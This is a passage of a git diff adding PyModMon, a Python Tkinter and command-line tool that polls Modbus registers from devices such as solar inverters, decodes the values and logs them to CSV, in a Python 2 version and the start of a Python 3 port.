(e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that 